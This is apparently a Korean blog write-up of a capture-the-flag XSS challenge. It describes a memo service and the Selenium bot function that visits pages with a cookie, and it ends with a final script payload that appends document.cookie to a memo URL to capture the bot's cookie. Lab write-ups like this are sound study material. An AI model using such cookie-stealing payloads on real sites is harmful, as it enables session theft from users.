XSS 취약점을 사용해서 플래그를 휙득하는 문제입니다

문제를 실행하면 간단한 메모장 형태의 서비스가 등장합니다.
- POST /memo : 메모 내용을 작성 (작성자와 메모 내용 입력)
- GET /memo : 저장된 메모 리스트 출력
작성한 메모가 다음과 같이 렌더링되는 것을 확인할 수 있습니다
{% block content %}
<pre>{{ memo }}</pre>
{% endblock %}
문제에서 제공한 Python 코드에서 핵심이 되는 함수는 read_url()과 check_xss()이다.
read_url
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
이 함수는 내부적으로 Selenium WebDriver를 사용하여 크롬 브라우저를 실행하고, 특정 URL에 접근한다.
접속 전 미리 설정된 쿠키를 127.0.0.1 도메인에 추가한다. 봇이 접근하는 기준 도메인은 http://127.0.0.1:8000/이며, 이 도메인에서만 쿠키가 전송된다.
최종 페이로드
<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>'보안' 카테고리의 다른 글
| 드림핵, 웹해킹.kr | simple_sqli, old-18 (1) | 2025.04.17 |
|---|---|
| 드림핵 | csrf-1 (0) | 2025.04.17 |
| 웹해킹.kr | old-15, 20 (0) | 2025.04.03 |
| 웹해킹.kr | old-24 (0) | 2025.03.27 |
| 보안 및 백엔드 실무 관련 용어 (0) | 2025.03.12 |